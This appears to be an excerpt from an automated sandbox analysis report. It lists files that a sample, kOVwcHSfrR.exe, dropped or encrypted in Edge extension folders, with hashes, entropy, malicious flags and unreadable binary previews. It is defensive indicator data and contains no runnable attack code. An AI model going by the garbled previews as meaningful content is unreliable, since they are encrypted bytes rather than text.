Category:	dropped
Size (bytes):	20814
Entropy (8bit):	7.992138096684151
Encrypted:	true
SSDEEP:	384:NXTi3zlSRim7Yczta+ol4GssYpC5bQEFr+lw4zkDt8C3vIp9UFS4qKke9qJ:5Ti3xSRiFczta+ol4Gs1pcBruw4u8Fpf
MD5:	3A67CDF18CF9E5902E17D3779E5AEB68
SHA1:	869B9F18A76470422E5B5FCEE38933F4D8320334
SHA-256:	9928EFCB61EB9E86267AF00DA572FB6A9FA928A34E0679B21CA1E5B87E973B85
SHA-512:	127CD233DD120984BB46DDC7E02138654851B66AEB2FD0EE05DFC7DC3D1041195BEF46F66708E589B20D94B3ECEF89CF2E78945C21FEC065A5FDE26AEAD974C8
Malicious:	true
Preview:	SQLit...Q...x......4C.P"#....l.......p$.....8"...Q}.X.u..)..1.n3.H.X....Fic.\|..^.1...\...1.....>....'r.....XU....)..%....2q1.0..@..Z.Zj..y...I91$6..4/.-..@..D../f.D(?..y.e.o..\|.8. .m.....9C.^N.....<..p..C.W.$......s....+i...v.oDmM...V...I...^...J.SS..j.:N.Z@)..nx.8...dS.#As..'Q.H...Az..Y....u..GV.&.q.+\|.7`{......b.I;..J...P......[.....-!.hlw..\[.\usT.l.:.+p...3...(L..s6a%...oz....N#..~.y..h>O...th..B-/...v..4.T..-..Z..4...r.\2...M.m.$c...f.]M}....b....)......\...~......=..wH.F.....<'E....R9.M..MG...&.G.`K.C.aa..X]6%....T_.... ..5 n.K..T)..~........%..;#.........!."lkh... r..c..3J.K.8.yC...j...(lJ.'...<...&..\|.......{.O~(...2..7.2..._w......e....,sO...i#.....dA'?Ku. g.ej...?..y..V.....}.Yc..'......y9)&..v..[.k.....w..#....?......@v...h.u.6.{6..J...}>.....\..Z....e.......'..4.5.?...*..0.P....Z.D7].:b.@3%...)b...]._73.q..... .8o ..t..W.G..-..Rc.;.9A(..i0\...../..U7...m..K.n.0m..4....\...'^W.]H-H.....\.B...SEPs:.z>5.."Y_.,..$..0.F..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	543
Entropy (8bit):	7.544103825316632
Encrypted:	false
SSDEEP:	12:qotZDiymdTIp6I7XxznKv18okkdPwpUw7Taeoqw1cii9a:ZtZmyITIp6iI18mPwpmuw1bD
MD5:	3B1E6977D26054568AE179E57CAEC729
SHA1:	8615FFF5E2642E2A54869AA5B4CDD0287AE06369
SHA-256:	84D14CDE6F411785D08457F4E2FB7B0CFBF1C32851CCDB89AA762CD1561CD909
SHA-512:	EEF24BE1F4A0A23D8FEB1347BD25BEB9052F1B13185D73ADE2A1F0B59967D0A79FE981C67CF8BB9F5FFEFBFADB455AA21BE3579D688E155A7823400FD388613E
Malicious:	false
Preview:	.f.5....oF...c..R.....a.#c..J.k.x.QO..w;.C..<.A..+\|......z..F.../..(.21..T..b.>.[..B8..gX....%...R....j....~......9..6...Hc<RY....E."yW}..\|....G..@.eo.Q$..A-...-...d.Vz..,.c....%VS&..rp..c).....W9..!.u....a3..d..{\|.er6..$8.&...V.J../B......o.....? k..!..s.<..#f..Z"....u....17.R.y...<:.,j.m.c...A..p.P...9o.fg?.I=O{5F.R.^.pG....dc....Luv..*...(.,..j..Z......Lf.\|.....L.;...\|[.....K^..k...Z\|..>\'y.^u.x.e.Ka....'%_...:.......>~B{.Z.!..C....qHTkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	543
Entropy (8bit):	7.516149315023244
Encrypted:	false
SSDEEP:	12:qY5zVL8nVTnyU9ET2HTV5pu0mFTUYFNZH7QWq6boqw1cii9a:T/L8QU5Z5LDYFbH3Vw1bD
MD5:	6E7E1BEB12C19DD2A7C1B106BCAA502B
SHA1:	5B2901E10F35E74E75332702CB10555A8EAA2D02
SHA-256:	AA61CFED7980FAD1235EDC547906D858D0121DD6F4FB801B2062BA0890223DFE
SHA-512:	A831B2C5609CF1F7E9777C503E0DE5C7C55AFEC8CDEEF7BD23B7EE39B3ADF033CA76DCAC6450597051C64C0B9638F2CCDB45606243754AB09EE4E6720888671B
Malicious:	false
Preview:	.f.5.Q.H..N..'........8.r.o.......E.,'....=5\.i..O...y^....?l.~/%..I.....fS....a.........,...>j.N.......-.l.........=J......;'.3..S.A.m......... W..$.....ol.q..7.....>A.V........6.8.4..eZ.B.WtG.$.t.......`.MV.@.S..B...V.....l.6jsn..]....q....T..cT....h...12..`....my...,.,J....#.....I.\..O.......&,.`8..X7...N.t.8.e.$..r%;-;b%....jX.K.3. ...J..7sT.D..#..}...].p..7#......*......;r@..O.....].........FlC...{L.G...6Q...[...hP._o5.TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	7.763880446441437
Encrypted:	false
SSDEEP:	24:FOgINK78DRpXkkbN86U7r+V69ZrvXyWkLD+w1bD:FOgINzDR5lbOTH+V69NvXyhLD+yD
MD5:	E4C142C1DE2AC8BD592B3562DF72A21B
SHA1:	0B18A76CDDBBC7D7F092BEBBA31D5FF953C9B9DD
SHA-256:	A028560612B64A8481F161BF9D4028E5A1E91B185C6E33B7AD6A8C20772D05EF
SHA-512:	FFF48C05F2B317E85A47DD061620089E81EEBB5A2D2908D058DF91481B63C543FCFF3ACB28B512A689E1F09D1F401182B9774B5BF1BF8B163F5393A60C002978
Malicious:	false
Preview:	.f.5.5.......+.P.....4.=.....V.s..-...t.%.F...M.....9.<........C...1d'.l.p/.(...&J?k/O.d....w.n.....q...g..+#)zRTS.M...d.#......%T...1......R.i'.Xn.P+tm....f....32'.Ge.(Z..8.I.7....`.r...LW2........O....2.5.j6.......c.Os....{...1b.....e/\|.)i%X......w....uE.&..gRU.#h......8r.....,6y..S.6..Y.5.......l.h...A...=.2.X...J..=q..1..3.L.y,ey..\|(....#.....=.r..tjL....U..C.u6C.g+TD.#..V~:. <4.*0.....7..%/H.y8H.o.M >oh..a{.;..SNr... `.Q.7..e.z#.9......KF.Y.y.Aw."..".~..;t.$....B.....0?..F._".8U..cko..1A....\......\|,hGZ..\. ~..."..VgS....8 M.v][u.6...s_.o...\.M.K...m...@..X{...)g..R..=...E.-H........8.[......H.....~`[...3.A...\|..f.X\...u..9t.1t.E.;X..l..k.);.S+...&..).p.i...g.^..%..[..M...n.N>8.........../[v...+^bPt.\|..dh.%6u.A....`. .._.G`....@....su.....s.9....?.?`B...s...g..D...@..K.fw..]2...%y$...,...o].........?./...:..(.g.TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	654
Entropy (8bit):	7.625042824597872
Encrypted:	false
SSDEEP:	12:kWaknYynHZgV15Nt6EGZwWM+/4r9Vf2nWwBZ7H447tmb5yT/a+LXW8V1ANSHwOoB:nakJgV1bI7c+/c9V+nnZP7pTpG+w1bD
MD5:	8EFB9E7A547E499F54FE58CCFE12F17E
SHA1:	5D74379F947DBBFE7EB150550F57A2DBAB724D14
SHA-256:	D4C79759D0DE796C759455DCEADF7F243DA6CCB2B88B2659128383295E8321D1
SHA-512:	41E4DD0A11025A195ACB10AEC5C021E9DFBCB4AD503AC9559F7ADF7C5FF9B623E5166C90D6CFA959A37C787A904CB1E763E65A19CB6313161EFE677FDEC31D1F
Malicious:	false
Preview:	2023/.>.......1.&5..dt..J]1..U.@.q.A.\274.e...O\6.F..."Y.....{.O.<.X@b......LI ....d..&".iZ.ER.u....n'...w.WL...8g....L.-Xo>.D0sv.......r.LvR.....2.u....>;UI...,Z.......>H..;..r/..X..T._uX80...,f..Rk.g[N..v....}L.. .A....B...x...H=..Wo....<9$,...=..U.6.........cav.Q..Q.h..N..Tht>85Dg".r..h.......L..@q2.^SF..s.......{.^.Z..T.>No...=/..3..p<.!....6F...J.v.:..YnkU+.Y.h......D.l...9...k.6.#.. Q..Wv.........$c..}..0.z.1A*3..}........9Q.<.O....v..e.6XT#.......f{...$%...(<..Lv...3v..b....H...c9.G;.{...S..O.8....OD.N.I.....G.e.b..O.S....).I.s.@h.4.TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\128.png

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	5316
Entropy (8bit):	7.966999210896267
Encrypted:	false
SSDEEP:	96:6bn9UW1dEGqJiZSKfKxnXh7xU6UvNvz2HA4lBdVsEmdRT6xar/y8BDVf2HCa:6vlvZSzxRq6mNvygdEmyxMy8BDt+
MD5:	99DB0037F467E704CB922B55B8B303EB
SHA1:	D7B866C3FBBDBB4DEF68FB44BD7025199D2FE4C2
SHA-256:	EA0477F0266A99AFB081E477076B927421D714683BDCE000BD8A998CB7016536
SHA-512:	9B4606B5E9CCFF59050197FDFCD54255D3A74DB49043EEB73F9F4946F46BB91F42DA50D407A7C7AAF4327795FFF2E01F26904FF608DAFA7F6614B278424B254E
Malicious:	false
Preview:	.PNG....w,.za.:.#,.rY9...E..V...O....yt....&L...+...........u\|t.p.'.$.G.^...+:{...c.xe..U..b%Q.K..&._.........D..Ul....@.....=.'K%....D ...Yd...9.6....lC..?C..b.n....aN/...[X...ML9.:!r.gz.uE..j..91b.....%.1.>l..h......f9..\|H9,..e..lV\.cc...C.?....B.M.@.Q........... vR@u^6Z+F...aZ.e5..]....).o."..[4.m=..y:%.Kj.K.d.4h%...3.c......I..I.9..).w..6.....?.J.FW...1gZJ9{.3..X...`...dp..WR....1.,..c...SCW..m[....f..?.Hfk.2...../%.L....8P..L.G%......p?nS...a...?.............0.?xSAXC&L.[...1.........qM..wCd..[ne....n..Q..e....#...J........K.<DL.m..I..52HQ.....z.)H0.U.-.f.H.K'D.gw.....(jj..p.hW.r...".>.....e1....rn..n.......~e.DM.`.YH9..$.k....;.oyY..!.<.....r.I.....O......>../...."0..$.:..U.8.wqzrJW....H:.d.YI5QR...Y0.... ....'.......J+j.L.Z.l..5Y$..O&..r..F...2.../Y.,..*H.5.6..b:.@.B.....rv.....,e..l.A./.._>...CF.N.#.0..c.e.Ka...z.].../..u.<....G....cr`.7.9Z.3...J.d.-.._...hy.9{.[.`...R...z V..i....:;MmII.lMX.1.1-!.>..JwA.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_metadata\verified_contents.json

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	18852
Entropy (8bit):	7.990230468671513
Encrypted:	true
SSDEEP:	384:GUplnSnQs35aGHFfeGF5sAtCzi0Ne9ucfgbNat5WkNEcbC9CDlBEPj:dp1SnrQG1Js8Cu049ucgxg5NDGaLEPj
MD5:	8A6B6A7480B09C791D04D6C4672EF24C
SHA1:	686484F5661289375B0854E8135420C37AF32003
SHA-256:	2A18D175DAEE7ACB31E752693AD36C128C03456AF1FA6F88DF0255E583A8B61D
SHA-512:	F0C00A5CE42EABA574B413614AA995A75C656EEF51F4F4DE7E335D12AE7EBB0E38DD11BDE8711005F211AB126C97B6FF4BB1CD175FA917CE5A02524F52A97365
Malicious:	true
Preview:	[{"de.m.n.Xyk5....&!......4...u:.......bq...I.z..C.H^m..5..T2./.h)...(,....X.....o.....z4.J..xX%.v..A...x..r.G..m".`..6;:D<..Y...........e2.3.!KG...F.Z.ro..<...w.Qch....t......U..........M..[.d.-u.B....P.k)".;.3..Np.<.tv...H...Wu.N&......8.....Ie.kG.C_...sE.V.`.. .X..aRHI.g...u....Rs{s...p..`..........0=:f?"..[Z.....hk?.bSkp..................^b.\|.~..@....sZ.......i.H.#.N.c?c......c.m..@...Q.u.....w........E..I..0.).H..<..09......l...,...u.....3....Wf.B...'x...!.hH..@q+6?N.....X....v5..{.5.^.m&..dd.....D..d.m.6.?..+.jz+......8./..f^.d.V..0.w.{L...v./.`.2.[Cwx!2U8g.{].j^yh.l.^?.^T.b..u.Y.}....S.\:T.5...B.z.....G..t..{,.M..s ..".m.S..o../ i.P..4........(,.m:.O.{.>.5.....d....H.?s..%;8..p.6R.5.qh....5.a..j....>.E@......Pl.EOn.d...v.E.%....Ly.5.S.GL'..:.;..`x...).a...U\|5.....r$....O;j.`w.z.g..........$i..&.S.....4.%@........0...{.$.... \|..6K-..9$...d..(#.Z.......I<..t.:?jlm.=&"....P.D..>.tZ2....Q....; <...~.}..'9.i...}4..\|..K...(p......%.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\dasherSettingSchema.json

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1188
Entropy (8bit):	7.80587629867799
Encrypted:	false
SSDEEP:	24:7eUqaEsckj2u30N71x3i5T5mX7X7QJk6kq7L7UslhRVbgED5ghhNqv3+mw1bD:7FcOkN71x3i51w7X7QJk3sPbLD+PNI/a
MD5:	02067F0C921CF7A9F07E6AF2054B9EA0
SHA1:	362D1173DB0840E58EBA4CB4DBBCA1A9211217EF
SHA-256:	EF42B63337FED473D7FB8CD0BA8C366AEF0DD04015395F08A927C2C52FD0C718
SHA-512:	CAE9D576708B54EED58597DE405C611857CE52532D13DED4F55F510B9DDB025604F7EE519953EAE2B8BAB6A3A4DBFDF7448273CD413AA508786BF958232DA5DF
Malicious:	false
Preview:	{. "K~1o4.......$c..gi...o.}.....N....^..G.T.^..` .#....=..q...R.aV....r....KJ}......3...........+Y-......\T...o..~..Y.z.$..k.a..H:r.6....k5...L...9..0I..\|.l.~.\..........q.H....T.#.[K.RgL..I,.,.&b.........k..D..>h..#.]....3.D...-1yD...N\|o./e..HZ...9El....i.v{..3....P.QW..W.v.p...$..I...\7........t.B...iZ....3[....).C.`..d..v..`c.....6.s;LG?...n.a.n..G....d...Ld....z....._.Vz...an7oU'........C7`P.H..d..........=!....T.=/iM\47.@D.l...f^.....Gq.v.mjG........G 4.\|......a.d....X..{.zk.U.3.\|....7.n.9...v.Vr...B..E......zD....r....c.....DB.+.]c\...D3.fw^.L...(....fN........8...lAD..5....Q.....0. .....nY..Hu..G...s........[(m.Z...........U..7/.\p............%.....pCz.,.5r....g$.......]r..[:..Qk.'.......k...IT../.Bb..d.d>tHj..\|...........tVr."..fC.]{s.9w....B...X.fW.....O:...f<...y.....]L.yQ3....A,.....FW. @.F......k}..6Z..aL.w&,XCK.w......._.;q,\|..tp.).j..[.=>..s..@\|...Za{3.[.H./SS.F..bJ....&.I....B.8pl<......Pz..4...)

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\eventpage_bin_prod.js

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	80603
Entropy (8bit):	7.997343968191056
Encrypted:	true
SSDEEP:	1536:3NCPY6lpqSJpLAeqr8ikhubWQ71igEIow6L5hiOge/wMSBWFzeAA2O/Y3YPX8rcZ:dCPYKpLdqQQbWQZY9D/Ae/wfrAA2O/nJ
MD5:	EE8F27614B61D292989E32EEAE77FFF6
SHA1:	4CC3D68DF2B44B85163C049E76815D38F1C9B992
SHA-256:	5FECBF3E797FAB4D915860A50D9326ECDDEC8C72E5B1F10E71F5BF0539E9E15A
SHA-512:	42057E14C9F346FA2D9A119588343E67C6D3630E22EB540F9D5AE6B45333B1DDF51214C103DA6A96CBE208AA8C30754A151BC362FA522D65062ABD6ABC043074
Malicious:	true
Preview:	/.. H.;...J.7..i.._W...M%.&)h..3@..TF.6.p.s....v.G...f5.....!<....o.....}UN....c.u...{ ...,...%..`E..F..T..0...7....B.?...4...#....I..t.38..J.EVSE.P....H...k~.....&Wxl..5..n.x.......K....x........\|....2..q...r.U..I;...-.._....{..E//.=.;{....nX..&DF4Z...p,.ogF....d%k^o..-N...9!8$.H.'.N.\0.....{..`3...C.Z.}.........jT.C.1...Q.!..D.....I..o..!e'O...vj9.....e..}n.!..F.r..r.<.4..._w.S....aNZ...._8n..Dg.OF...IiP...X.............O....Tni)g...3..y.v...P^)4.......%.k7.../..T+.a.......6O..@.b.m.6.jn..b3`.}:v.....A\|..mG....!.`:.....a......._...c...#\|O.8.....5.a.q.u .....4......=egE....3.9...X.X....y..#'LQlG4...{.b....=.p......p..#.M.i..._..W....c.Za.kY.^Ld.0..w...Z.=H.'..[o:.4...lr:.l.... ...O...hA..x.G_.g. .(f.Z..D.s..)..p.....\|..T..V..+.;Q.V\|...e....5.<...R.......w.g..7.&.M...P......bx....5..`......T8..{7....O...1..B.mnC.P....&.(f.82%gk2(.SX..nR6.M.V..A......./f..M...B....m..z......s..J.0..W.F..>..Jv`...-..A..d..s.$.P..K.._..P..e.MwC..{.0..A..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\manifest.json

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	2731
Entropy (8bit):	7.925487929565766
Encrypted:	false
SSDEEP:	48:I1H3spT9ri0oJOQY0fAY6P0r51eQcFBouTKel6tI3y99w6yaEJogC6wVQYtxyD:Iore9fAYPr5vuBo+hlSjbeJo6wVQMa
MD5:	84E6E5905E02411D3E87F8ADB0208D46
SHA1:	A3178CB4CEB97F6951B3C2C7DCAB147FB1579404
SHA-256:	CBC0F6FD1095014FAA5DA0957036168AB09E7437E1099865FBB3210556293266
SHA-512:	6FFA31F9629CA660019715550A363EDEE6797D752C60807ED856048A58A1446CCC3FE0E876564A04BF876907F4B34EA6D4DC81BA7C9D582BE8828B400921B65A
Malicious:	false
Preview:	{.. ..\|.Ca.W#.p...."~..]\|...Y..4..Hv..ym.T..sf...c._.w.....\|o.... ..m.8.? a...,c....Z,...[.......f.aK....T.pc=d.....{..:z..4&1q.R.'...".Q..I\.7..G0K ..4.,).aG7-.jPq_us.&..V..9..c..l...[..C..@\..v. ......y.J3.X..>..~L.r...#t.....!..4.Q..D..o....PH....5i..&V...../.iS........9.qR+..A.P...O..y..f..O....F......O.t!...)).b...O.^.r..=...s...0&.O.J..w.825.....r.Wv./.T...Kh . '=(?.`...)m.y..T.5...z......S........ ..5.....P..]/.k,E.2 . 6A...$.A9.(_.FR..S".%IR..6.w{`.. ._F..6m..y....&..+.......)...MR..)8.c.z.;.i'.).Rw.....P.7..++..g.X.@.`.FuB..@.-..{..%p.H[.....6._..Q?.:..M..w.K.A........o..i9...@?.......T!$......=p..\|.%.)...$.b6^;P2}...QU.>.B..L.`.....C=... ..Q$.^...E0....}.s.-{.".Y.....\|.f....;..L!M#............%..w.{~]{.v..#......N..`.o..l.....@...H)..\.&.....a..!X.\!c.~4.vI....6.%}!e...JX.3.hs...P...!...<C.?_]/..GGoT[.Z.....A.<7.d..9-\...DwJ....TW'JH.y......\|......}.....v.[........?..!)...uW..!....0.L.)f.s..*.).F`....m...$.H`"...`

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\page_embed_script.js

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	625
Entropy (8bit):	7.6179340971826015
Encrypted:	false
SSDEEP:	12:2TmalSXR6OG4X0CbITYCtL9BePfWmDpPObwSAOq1pCB6Hq6c65WMpoqw1cii9a:2f8G4EC2tmnPQnr6sB6HqB65WGw1bD
MD5:	7287A1E4C0565AF2B73B31DB05885127
SHA1:	90A46D9C10701E367C9227A54C9131CCBAB7599F
SHA-256:	B712206CCF69B1328FECF2B9CF04650A0779BA8EFF6974C4F84013CA259B1E56
SHA-512:	3895B775E414844F7E8998183561F4B04750B28CAA3A01EA9F3AB0BB165EB54646C8D0F66A6A4ABDBB15100F5D5D963676BF156BDA6BB90A8499530531DA0578
Malicious:	false
Preview:	(func.e...2..nP/.y.f....N....M...~V.$.....a..7.6b..>...al..(0. ..............{...Y?..........m.Cu4........IM...x230g.1.b.\|V.9..L".......$.....K:H.....'.l.2...u[7P.....9.x..E...m+m..8.0.@..G....".?.3.O...c2..l.E.....k..5]..@n\|%..E.pX.....;_I.8.]c..... ..6...e....rF...nd...w.F;....0.RGx`.W..A.w.{.......9.k..m..1.TZ.w.~~......l.......]..)T.f;V.........&... ".........s..:O'T......:...}"z...QV..&.;.}q3x@...2...$..K....o..(/.G)..(...KTw.uHmwCA...Q...x>Wm.U.3'._.g.Yq...%`.w....ai..u.{.O.1o{......Htj.....,......oS.......TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.0_0\_metadata\computed_hashes.json

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	763
Entropy (8bit):	7.698335552213944
Encrypted:	false
SSDEEP:	12:YWtWZ1V0q+xAV8ndQxfPj3Vn578wiZh1Mr5bOpvnAEeeMFXJDhC6soqw1cii9a:Yem0q+u8dAfPt5owo1Mr5ivkXJDhC68a
MD5:	B198B88496C85F64959B509E5FD5D115
SHA1:	7427402D36918340BFBD7CDBBE9DDA1C838AD004
SHA-256:	E3F9CD004DFDFA1824DD0293B14D3B386A32E6014ECF43F41CE5EF15923ADBDB
SHA-512:	BCA27AC7526D207D3566470ECA56F7448FF70FE5BF5E76FD77C4A3C7C44D71462C810114572BF8E6E2372D327F7635EFF4535BEE0AF77F35D83444259F481B23
Malicious:	false
Preview:	{"fil..\|".../......I0.....:..G...V..Al.....J..k.F.-.E........e.[G.H.w.U.....?..K...p!,C...b.qD.^...K..0(....w"fm.....F.NUr.(...\|R..H.15./.Wn......ou.P.B..8I.~..a.?w......O....#.K.....iJ...6.<..._.?Q[dB.u`.=..;.o.`..^.\|.4.hgd..1.gi.~1..5.L8.H&V{b..@iX+..b....%.(.....+0.<..."OX....a...@.orI<..>h....&.... .S.g.F~j....h...K..........a.v...L>Q.).g.zt.g.=...h....N....3..YN..'l%..`.....k...QP..f.Di.....99.E..0........4R..)kZ.m...G..W.D.8..M..+I..0j.....Q.qi.x...m..3....7.....[....Nd...........A...fV.i.f...!+vxaB.j..e..G.qY..s....6.$._5 ...kp....y.1......W.....v~z.,8...:..{...l...B. `j/A&.#.4......yt..[=.D$&wZ..1g.0... i..6.zP..V../7............ZTkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.0_0\_metadata\verified_contents.json

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	2087
Entropy (8bit):	7.906955385122911
Encrypted:	false
SSDEEP:	48:y0n/WIv0jUR5ZtQ45b5Ruf+lLVf7hFYQJzaWvS5tB8JKokIDyD:7nLv0j855juWlVf9aQJ2N80okEa
MD5:	7DD37EB9F7841FDF5AD6CBCCE9AAEA15
SHA1:	A92D79D2FE714A115E3B42A59835768405C72FE4
SHA-256:	1BA6ED3537B386B18A302355183AD8927816DE4CCB3A0310B3E1EE45A25E1226
SHA-512:	7D48FB8DEAD6B935A03EB9A137AAB44B068930B8112E15A3C67F3B8E25CCC3C5A0DCEDAD35B02537B31FD1630A06CEA5549899ECD5DB574C5FD1DBE953ACDEE4
Malicious:	false
Preview:	[.. ....e..js..>QV.yw.$..@.{.Oe..T.8}.._u.J8b..&Z4...r.iM...#x.;a.?..W..-vQ....9m......P..5....&.]....a..._..{..........67..3r;H..S.kp+B......vP.....-.S....:&...c..].....3~.....#...}j.b.].b8.(.((+iA!kR....&U..........B..Z..Cf.8"..h&....@~'....\|....^(.j..\..=.C.?Q..3.......7A......._:dO4.].3.'....A.fM\U......8s.&.m.MF.....U.^..^......E....u.....t.D.0....I..6&i..A....N....H......Pj..e.f.0.m...J.@..N.Z........0..s.:.1K.._.L=.6.k3.B.V.y..?.84.%^.Tn..P.ob=7W......M...........=.}VF~....'..D...Ma.u;C\|.(E.d....U.S.,XmO..A..Og!.t.._AY....9._2..n-M.n..z..K.c.....&.p..:]../...n1#r.76...!~v..p.....K..7T5,.;t...b...81\.]Md.............s...s..........7.`....)p........Q..%.[..!..F.C....tF.......B.o#3....L.vJ$"..<}b..L..v.@b..+C.$.2.=4..H%.f...S~.E...%........'.r}......T.r.M.7..oo.......6.n....]..5.....U1... ...j..._p)K../..IwG.%.R..T......t..hl.....['y....=."8..D.V....c....[h.......m.O..TCnoU.X....\..NH..........B...=......4.>E......Vc(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.0_0\content.js

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	9751
Entropy (8bit):	7.982458181909329
Encrypted:	false
SSDEEP:	192:AFYpiNOMKdC9gWQJUJ8fXUOQCzPtiMQ5TDV1+rCHTRqi:ASpiM69gEAUOQotIp1ICHTRZ
MD5:	A3C653CE40E65F8682B780725167EC71
SHA1:	BE0BA16DDDFAB2B4942F3735ABF79E39C2CA2E65
SHA-256:	C794F0F93088971A66F9DBAB12D693C0D7F3AF46715A0E6E762CA40D7A64EB96
SHA-512:	F52E5E934352502D738277E60E55D7E1E9523CDE02BAFB1E27DB61CF3875C25DF3D17ADA6D5046F4685F70CBEACB0357C21D19B993105D35EFD77F3AB6925FC8
Malicious:	false
Preview:	(()=>.Kj.^.M.O.,_RF....)....RhIf...l. oA1H...Z...F...&.;G.T..O.).J.*x. ......pi.".IYR....l,..LH.K...=\).c..W....'BM.j/...4.I/..\|....w...U.....2):.cx.M.6.M~....02\...o.Y..J....rKNK..<..........1..O.Y5.6.:.......n.....e...vU...`....z..Y...X...#.{oi.q.%.6....+...{.....r........#.8..J.....n8...P...>s.....W..]..fM3.dw..K\|j....a....).....-.)@T..u../..bp..'5..<.............K../..Cr.E.U(ve...J........A......Q......i0...3V ..>..8R..F...B(...ivi$...C);...DL`h.$L,R.....C./...'...o^=)#.;.o._Gr.L.}....T.....65.I...V.ujr.=.n....,....V\|....z0Lw...v..gNwWA....f..BG9.A...]W.....Yg{..............$c0...=@C0..O.sYT..1..D.G.8/...h....s.M.F.>Q..N.']..cXq......5M...n.+.T...Mi..T.8..9j.P.LN'7.B,.m...t......~P.i.V..)..N.B.w..^.Q.=..&d.........u .R...{._ .R........z.J.....6.K....Z. C..ZR-4.....V.....!..^..n......i....F$..6F......\|.i.r.9.....z.8.........>r..f......u.....n...z.Bp'..y.!.>.<t.N.L[.b".......i...yc...u....t....7.@..wne..#..ID......1.u..U.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.0_0\content_new.js

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	10104
Entropy (8bit):	7.98239174046642
Encrypted:	false
SSDEEP:	192:Lf6y6pV47grMY2B194eYS1MC9PXhplXgFuOWeAidKT5ePqmY9CQu:jn6X4iMY2B1meYSOkXhve/d25ePqIN
MD5:	5E5334E6779FB6FBC07D261B8E5566C5
SHA1:	12B0468A8D9115CF15757762B5E88CDE4021B39F
SHA-256:	1A4AE43510BAC264DB2C82E3E2C87E38EEBE4D4D3E504931F8E386BEAD28EEB2
SHA-512:	92433128E4F7A330CD0EB1F464C32F78F4AD00D8DF7C8046A92CC72813DD7F24354F2C5430F5E90D30D09E6D315D1F165A44DDCD941FB742D7AF380331D52C02
Malicious:	false
